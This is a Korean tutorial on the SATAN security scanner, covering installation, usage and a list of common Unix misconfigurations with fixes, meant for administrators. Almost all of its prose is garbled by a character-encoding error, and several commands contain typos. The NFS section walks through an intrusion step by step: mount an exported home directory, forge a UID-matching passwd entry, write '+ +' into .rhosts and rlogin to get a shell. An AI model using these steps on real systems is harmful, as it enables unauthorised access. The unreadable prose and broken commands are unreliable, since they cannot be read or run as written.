satan



Dan Farmer¿Í Wietse Venema°¡ ¸¸µç SATAN(System Administrator Tool for Analyzing Netwarks)Àº ¸®¸ðÆ® ½Ã½ºÅÛÀ» ½ÃÇèÇÑ´Ù´Â °ÍÀ» Á¦¿ÜÇÏ°í´Â COPS¿Í ±× ¿ø¸®°¡ °°´Ù. µû¶ó¼­ ÀÌ ÇÁ·Î±×·¥À» ÀÛµ¿½ÃÅ°´Â ¸ðµç »ç¿ëÀÚ´Â ´Ù¸¥(others) ½Ã½ºÅÛÀÇ ±¸¸Û( vulnerablilty)À» ¹ß°ßÇÒ ¼ö ÀÖ´Ù .

¿ÜºÎ¿¡¼­ÀÇ ½Ã½ºÅÛ È¦ÀÇ ÁöÀûÇØ ÁÖ´Â µµ±¸ satanÀÇ Ãâ½Ã·Î ÀÎÇÏ¿© ¸¹Àº ½Ã½ºÅÛÀÇ vulnerablilty °¡ µå·¯³ª°Ô µÇ¾ú´Ù´Â ´ÜÁ¡µµ °¡ÁöÁö¸¸, °ü¸®Àڵ鿡°Ô ÀÚ½ÅÀÇ ½Ã½ºÅÛÀÇ È¦À» ¸ð´ÏÅ͸µ ÇØÁشٴ ÀÔÀå°ú Àú¿ïÁú ÇØ º¸¾ÒÀ» ¶§ ±àÁ¤ÀûÀÎ Ãø¸éÀÌ ´õ Å©´Ù°í ÇÒ¼ö ÀÖ´Ù.

SATANÀº ³×Æ®¿÷À» ÅëÇÏ¿© ¸®¸ðÆ® ½Ã½ºÅÛÀÇ º¸¾È Á¤µµ¸¦ Á¶»çÇÏ°í ±× ÀڷḦ µ¥ÀÌÅͺ£À̽º¿¡ ÀúÀåÇÑ´Ù. ÀÌ °á°ú¸¦ httpÇÁ·ÎÅäÄÝ À» Áö¿øÇÏ´Â HTML browser¸¦ ÅëÇÏ¿© ½±°Ô º¼ ¼ö ÀÖÀ¸¸ç, È£½ºÆ®ÀÇ Å¸ÀÔ, ¼­ºñ½º, vulnerabilityµîÀÇ º¸°í¼­¸¦ ¸¸µé¾î ³¾ ¼ö ÀÖ´Ù. ±âº»ÀûÀ¸·Î SATANÀÇ ½ÇÇàÀº ¼³Á¤ ÆÄÀÏ(config/satan.cf)¿¡ ÀÇÇÏ¿© Á¦¾îµÉ ¼ö ÀÖ´Ù.

±×¸®°í, SATANÀº ¹®Á¦¸¦ ¹ß°ßÇßÀ» ½Ã¿¡´Â, °Ë»ö±â »ó¿¡¼­ ±×°ÍÀÌ ¿Ö ¹®Á¦°¡ µÇ´ÂÁö, ¾î¶»°Ô ÇÏ¸é ¹®Á¦¸¦ ÇØ°áÇÒ ¼ö ÀÖ´ÂÁö¸¦ °ü¸®ÀÚ¿¡°Ô ¾Ë·ÁÁظç, Hyper link·Î ¿¬°áµÇ¾î ÀÖ´Â ±æÀ» µû¶ó°¡´Ù º¸¸é ±× ¹®Á¦Á¡¿¡ ´ëÇÑ º¸¾È ´ëÃ¥µµ ¾Ë·ÁÁØ´Ù.

´ÙÀ½»çÇ×(ÀÌÇÏ(1~10))µéÀº¿ÜºÎ¿¡¼­ ¹Ù¶óº» ½Ã½ºÅÛ È¦µéÀ̸ç,ÀÌ È¦µéÀº °ü¸®ÀÚµéÀÌ ¼Â¾÷À» È®½ÇÇÏ°Ô ¹Ù²Ù´Â °Í¿¡ ÀÇÇØ ±ÙÀý ½Ãų¼ö ÀÖ´Ù).

  1. NFS mount attack
    NFS ¶õ Network File System ÀÇ ¾àÀڷνá LAN ¿¡ Á¢¼ÓµÇ¾î ÀÖ´Â ÄÄÇ»Å͵éÀÌ File system À» °øµ¿»ç¿ëÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù. File system À» export ÇØÁÖ´Â ½Ã½ºÅÛÀ» Server, ±× È­ÀÏ ½Ã½ºÅÛÀ» mounting ÇÏ¿© »ç¿ëÇÏ´Â ½Ã½ºÅÛÀ» client ¶ó Çϴµ¥, ¹®Á¦´Â server Ãø¿¡¼­ export list ¸¦ À߸ø setup ÇÏ¿´À»¶§ ³ªÅ¸³­´Ù.

    ¾î¶°ÇÑ server °¡ ´©±¸¿¡°Ô ¾î´À È­ÀÏ ½Ã½ºÅÛÀ» export ÇÏ°í ÀÖ´ÂÁö´Â 'showmount' command ¸¦ ÀÌ¿ëÇؼ­ ¾Ë¾Æ º¼¼ö ÀÖ´Ù.

    [kus:chester] showmount -e baikdu.kaist.ac.kr
    export list for baikdu.kaist.ac.kr:
    /cdrom kus,kus.kaist.ac.kr
    /baikdu sokri.kaist.ac.kr,kus.kaist.ac.kr
    /camis wook,mis_pc1,mis_pc2


    À§¿Í °°ÀÌ baikdu ¶õ È£½ºÆ®´Â cdrom baikdu camis ¶õ file system À» µÚ¿¡ ³ª¿­µÇ¾î ÀÖ´Â TRUSTED HOST ¿¡°Ô export ÇÑ´Ù´Â °ÍÀÌ´Ù. Áï, µÚ¿¡ ³ª¿­µÈ È£½ºÆ® ¿Ü¿£ ±× È­ÀÏ ½Ã½ºÅÛÀ» ¸¶¿îÆà ÇÏ¿© »ç¿ëÇÒ¼ö ¾ø´Ù´Â °ÍÀ» ³ªÅ¸³½´Ù. ¹®Á¦´Â ÀÌ·¯ÇÑ È­ÀÏ ½Ã½ºÅÛÀ» everyone¿¡°Ô export ÇÒ¶§ ÀϾ´Ù.

    [kus:chester]bshowmount -e target.com
    export list for target.com:
    /home (everyone)
    /usr (everyone)


    ÀÌ·¯ÇÑ °æ¿ì¿¡´Â.. /home À» ÀÏ´Ü ¸¶¿îÆÃÇؼ­ ±× ¾È´Ì À¯ÀúÀÇ È¨µð·ºÅ丮¿¡ .rhosts µîÀ» ³Ö¾îµÐÈÄ rlogin À̳ª rsh ¸¦ »ç¿ë Çؼ­ target machine ÀÇ shell À» ½±°Ô ¾ò¾î ³¾¼ö ÀÖ´Ù.

    ´ÙÀ½ÀÇ ¿¹Á¦¸¦ º¸µµ·Ï ÇÏÀÚ.

    kus# showmount -e target.com:/home/mount
    kus# ls /mount
    chester/ poison/ sakai/ yspace/
    kus# ls -al chester
    drwxr-xr-x 2 47 3 512 Nov 9 06:13 src/
    drwxr-xr-x 3 47 3 512 Nov 29 00:35 sss/
    -rw- - -------- 1 47 3 2307 Dec 10 23:28 table
    kus# echo "temp::47:3:temporary:/mount/chester:/bin/csh">> /eyc/passwd
    kus# su temp // UID matching À» À§ÇØ
    temp% echo "+ +" .rhosts
    temp% exit
    kus#
    kus# rlogin target.com -1 chester
    ( Logging in )
    chester%
    chester% hostname
    target


    ÀÌ·±½ÄÀ¸·Î ½±°Ô ½©À» ÃëÇÏ°Ô µÈ´Ù.. NFS setup Àº ½Ã½ºÅÛÀÇ º¸¾È°ü¸®ÀÇ °¡Àå ±âº»ÀÌ µÈ´Ù.

  2. anonymous ftp ÀÇ setup ÀÌ À߸ø µÈ °æ¿ì
    ftp ÀÇ permission ÀÌ 666ÀÌ°í ftp account °¡ shell À» °¡Áö°í ÀÖµµ·Ï ¼Â¾÷À» ÇÑ °æ¿ì¿¡´Â ¾Æ¹«³ª ftp ¿¡ .rhosts À» ¸¸µé¼ö ÀÖ°í rlogin À̳ª ¤¡³ë À» ÅëÇÏ¿© ±Ò°Ô ½©À» µû³Ú¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ À§ÇèÀ» ÇÇÇϱâ À§ÇÏ¿©, ftp ¸¦ 644 ·Î ¹Ù²Ù°í /etc/passwd ¿¡¼­ ftp ÀÇ ½© entry ¸¦ /bin/false ·Î ¹Ù²Û´Ù.

  3. sendmail ÀÇ hole
    OS ¸¦ ÀνºÅçÇÒ¶§ ±âº»ÀûÀ¸·Î µû¶ó¿À´Â sendmail Àº mail from ºÎºÐ¿¡ vertical bar "-"¸¦ ÀÌ¿ëÇؼ­ piping À» ÇÑÈÄ passwd ¸¦ »©³»¿Ã ¼ö ÀÖ´Ù. CERT advisory °¡ ¸í½ÃÇÏ´Â »õ·Î¿î version À¸·Î upgrade ÇÑ´Ù.

  4. tftp °¡ setup ÀÌ À߸øµÇ¾îÁø °æ¿ì
    ÀÌ·± °æ¿ì ½±°Ô /etc/passwd ¸¦ »©¿Ã¼ö ÀÖ´Ù. µû¶ó¼­, /etc/inetd.conf ¿¡¼­ in.tftpd ¸¦ comment out ÇÑ´Ù.

  5. /etc/hosts.equiv °¡ +·Î ¸¶Å©µÇ¾î ÀÖÀ»¶§
    ÀÌ·¯ÇÑ °æ¿ì¿¡µµ ½±°Ô shell À» ¾òÀ» ¼ö ÀÖ´Ù. OS INTALL Á÷ÈÄ¿¡´Â default ·Î /etc/hosts.equiv °¡ + ·Î ¸¶Å·µÇ¾î ÀÖ´Ù. ÀÌ È­ÀÏÀ» »èÁ¦ÇÏ°í /dev/null ·Î ¸µÅ©Çؼ­ race condition ¿¡ ´ëÇÑ attack ¿¡ ´ëºñÇÑ´Ù.

    kus# cd /etc
    kus# rm hosts.equiv
    kus# ln -s /dev/null hosts.equiv


    °¢ User ÀÇ È¨¿¡ ÀÖ´Â .rhosts ¸¦ Çã¿ëÇÏÁö ¾Ê´Â´Ù.
    ÇÑ È£½ºÆ®°¡ ÇØÅ· ´çÇϸé .rhosts¿¡ ÀÇÇؼ­ ¿¬¼ÓÀûÀ¸·Î ¶ÇÇÑ ¹«¹æºñ»óÅ¿¡¼­ ÇØÅ·´çÇÏ´Â »çÅ°¡ ÈçÈ÷ ¹ß»ýÇÑ´Ù. ÀÌ·¯ÇÑ À§ÇèÀ» ¸·±â À§Çؼ­´Â, ½Ã½ºÅÛ¿¡ Á¸ÀçÇÏ´Â ¸ðµç .rhost fileÀ» ÁÖ±âÀûÀ¸·Î Áö¿ì´Â ¹æ¹ýÀÌ ÀÖÀ» ¼ö Àִµ¥, ´ÙÀ½ script ¸¦ crontab ¿¡ ³Ö¾î¼­ ÀÏÁ¤ ½Ã°£¸¶´Ù µ¹¸°´Ù.

    #!/bin/sh
    find /home -name '.rhosts' -exec rm -rf {} \;


  6. FTP vulnerabilites
  7. REXD ¾×¼¼½º
  8. r-shellÀÇ Á¢±Ù
  9. Á¦ÇÑÀÌ ¾ø´Â X ¼­¹ö·ÎÀÇ Á¢±Ù
  10. ¾²±â±ÇÇÑÀÌ ÀÖ´Â FTPÀÇ È¨ µð·ºÅ丮


satan ±¸ÇØ¿À±â


ftp://ftp.win.tue.nl/pub/security/satan-1.0.tar.Z


ftp://ftp.cert-kr.or.kr/pub/Security/tool/satan-1.1.1.tar.Z





satanÀÇ ¼³Ä¡


satanÀÇ ÀνºÅçÀº ¸Å¿ì ½±´Ù. ÇÏÁö¸¸ ¼³Ä¡Çϱâ Àü¿¡ ´ÙÀ½°ú °°Àº ÇÁ·Î±×·¥°ú ȯ°æÀÌ ÇÊ¿äÇÏ´Ù.
¡¤Perl 5.000 ÀÌ»ó
satan À» ÀÌ¿ëÇϱâ À§Çؼ­´Â perl 5.0 ¹öÁ¯ ÀÌ»óÀÌ ¼³Ä¡µÇ¾î ÀÖ¾î¾ß ÇÑ´Ù. °¡±î¿î gnu archive ¿¡¼­ perl5.0 À» °¡Á®¿Í ÀνºÅçÇÑ ÈÄ satan ÀνºÅçÀ» ½ÃÀÛÇÑ´Ù.
¡¤WWW browser(netscape ¶Ç´Â xmosaic)
¡¤ÃæºÐÇÑ CPU power¿Í ¸Þ¸ð¸® 32M ÀÌ»ó(¸¹Àº data¸¦ ¿øÇÒ ¶§)

satanÇÁ·Î±×·¥°ú À§ÀÇ Á¶°ÇµéÀÌ °®Ãß¾îÁö¸é ´ÙÀ½°ú °°ÀÌ ¼³Ä¡ÇÏ¸é µÈ´Ù.
  1. ¿ì¼± satan ÀÇ distribution È­ÀÏÀÇ ±¸Á¶¸¦ º¸¸é ¾Æ·¡¿Í °°Àºµ¥ È­ÀÏÁß PerlÀÌ À§Ä¡ÇÑ °æ·Î¿Í WWW browserÀÇ °æ·Î¸¦ ÆÐÄ¡ÇÏ´Â "reconfig" script ¸¦ ½ÇÇàÇÑ´Ù.
    baram# ls -F
    Changes bin/ perl/ results/ satan.ps
    Makefile* config/ perllib rules/ src/
    README html/ reconfig* satan* status_file
    TODO include/ repent* satan.8


    ¸¸ÀÏ SATANÀÌ ½º½º·Î WWW browser¸¦ ã¾Æ³»Áö ¸øÇÏ°Ô µÈ´Ù¸é config µð·ºÅ丮 ¾ÈÀÇ pasths.pl(Áï config/paths.pl) À» editÇؼ­ $MOSAICºÎºÐÀ» ¼öÁ¤ÇÑ´Ù.

    $XHOST="/usr/bin/X11/xhost";
    $PING="/usr/etc/ping";
    $MOSAIC="/usr/local/bin/netscape";//¼öÁ¤ÇÒ °÷
    //Çü½Ä $MOSAIC="full path of program_name";
    . . . . . . .

    À§ ºÎºÐÀº system ¿¡ ¼³Ä¡µÈ Web browser ¸¦ ÁöÁ¤ÇÑ´Ù. satan Àº À¯Àú¿ÍÀÇ ´ëÈ­¿¡ À־ Web interface ¸¦ ÀÌ¿ëÇϹǷΠÇÑ°¡Áö ÀÌ»óÀÇ Web browser ¸¦ °¡Áö°í ÀÖ¾î¾ß ÇÑ´Ù.


  2. »çźÀÇ »óÀ§ µð·ºÅ丮¿¡¼­ "make" ¸¦ ¼öÇàÇÏ¿© system typeÀ» define ÇÑ´Ù.

    baram3 make
    Usage: make system-type. Known type are:
    aix sof bad bsdi dgux irix4 irix5 freebad hpux9 linux sunos4 sunos5 sysv4
    //ÀÚ½ÅÀÇ system typeÀ» ÀÎÀÚ·Î ³Ö¾îÁØ´Ù.Áö¿øµÇ´Â ½Ã½ºÅÛ Å¸ÀÔÀº ´ÙÀ½°ú °°´Ù.
    aix bsd irix5 freebsd hpux9 linux(untested) sunos4 sunos5 sysv4 ultrix4

    *** Error code 1



  3. ÇöÀç ½Ã½ºÅÛÀÇ Å¸ÀÔÀ» ¾Ë¾Æ º»´Ù. "uname -a" ±×¸®°í ³ª¼­ satan ÀÇ Çʼö ºÎºÐÀÇ ¼Ò½º¸¦ ÄÄÆÄÀÏ(·çÆ®±ÇÇÑ) ÇÑ´Ù. »çźÀº ¼Óµµ¸¦ ¿ä±¸ÇÏ´Â ºÎºÐÀº C·Î ±×¸®°í ³ª¸ÓÁö´Â ´ëºÎºÐ perl script ·Î ¸¸µé¾îÁ® ÀÖ´Ù.±×¸®°í ´ëºÎºÐÀÇ µµÅ¥¸àÆ®´Â ÀÚ½ÅÀÌ »ç¿ëÇÏ´Â WWW browser¿¡¼­ ¸ðµÎ Á¢±ÙÀÌ °¡´ÉÇÑ HTML ¹®¼­ Çü½ÄÀ̹ǷΠÀÚ½ÅÀÇ browser³»¿¡¼­ ¸ð µç ÀÏÀ» ÇÒ ¼ö ÀÖ´Ù.

    baram# uname -a
    SunOS baram 4.1.3-KL 1 sun4c
    baram# make sunos4
    cd src/misc: make "LIBS=' "XFLAGS=-DAUTH_GID_T=int" "RPCGEN=rpcgen"
    cd src/boot; make "libs=" 'XFLAGS=-DAUTH_GID_T=int" "RPCGEN=rpcgen"
    '../../bin/boot' is up to date.
    cd src/port_scan; make "LIBS=" "XFLAGS=-DAUTH_GID_T=int"
    cc -O -DAUTH_GID_T=int -target sun4 -c tcp_scan.c
    . . . . . .


    ÀÌ·¸°Ô Çؼ­ ÄÄÆÄÀÏÀÌ ¸ðµÎ ³¡³ª¸é satan ÀÇ setup Àº ¿Ï·á µÇ¾ú´Ù.


satanÀÇ »ç¿ë



baram# satan
SATAN is starting up. . . .
¶ó´Â ¸Þ¼¼Áö ÀÌÈÄ È­¸é¿¡´Â ¿ì¸®¿¡°Ô Àͼ÷ÇÑ Web browser°¡ ³ªÅ¸³¯ °ÍÀÌ´Ù.
satanÀº hyper textÀÇ ÀåÁ¡À» ½ÊºÐ È°¿ëÇÏ°í ÀÖ´Ù. ¾î¶°ÇÑ vulnerability°¡ °¨ÁöµÇ¸é ±×¿¡ ÇØ´çÇÏ´Â documentÀÇ URLÀ» Ç¥½ÃÇØ ÁØ´Ù. µû¶ó¼­ »ç¿ëÀÚ´Â ½±°Ô Á¤º¸¸¦ °¡Á®¿Ã ¼ö ÀÖ´Ù.

satanÀ» ¾Æ¹« ÀÎÀÚ ¾øÀÌ ½ÇÇà ½ÃÅ°¸é WWW browser°¡ ½ÇÇàµÇ¸é¼­ ¸ðµç ÀÏÀ» ±× browser³»¿¡¼­ ÇÒ ¼ö ÀÖ°Ô µÈ´Ù. WWW browser¸¦ ÀÎÅÍÆäÀ̽º·Î ÀÌ¿ëÇϱ⠶§¹®¿¡ º°´Ù¸¥ ½ÇÇàÀº ÇÏÁö ¾Ê°Ú´Ù. ÀÌ¿ë ¹æ¹ýÀº WWW¸¦ ÀÌ¿ëÇÏ´Â °Í°ú ºñ½ÁÇÏ´Ù. µµÅ¥¸ÕÆ®µµ browser³»¿¡ ¼­ HTML ¹®¼­ Çü½ÄÀ¸·Î º¼ ¼ö ÀÖÀ¸¹Ç·Î µµÅ¥¸ÕÆ®¸¦ º¸¸é¼­ Â÷±ÙÂ÷±Ù ½ÇÇàÇØ º¸¸é µÈ´Ù.


satanÀ»»ç¿ëÇÒ ¶§ ÁÖÀÇÇÒ °ÍÀº TCP wraperµîÀ» ±¸µ¿ÇÏ°í ÀÖ´Ù¸é wrapper¸¦ ¸ðµÎ disable ÇÑ ÈÄ¿¡ »çźÀ» ±¸µ¿ÇØ¾ß ÇÑ´Ù´Â °ÍÀÌ´Ù. wrapper·Î ÀÎÇÏ¿© port scanning°á°ú¸¦ ¹Þ¾Æ º¼ ¼ö ¾ø´Â »çÅ°¡ »ý±â±âµµ Çϱ⠶§¹®ÀÌ´Ù.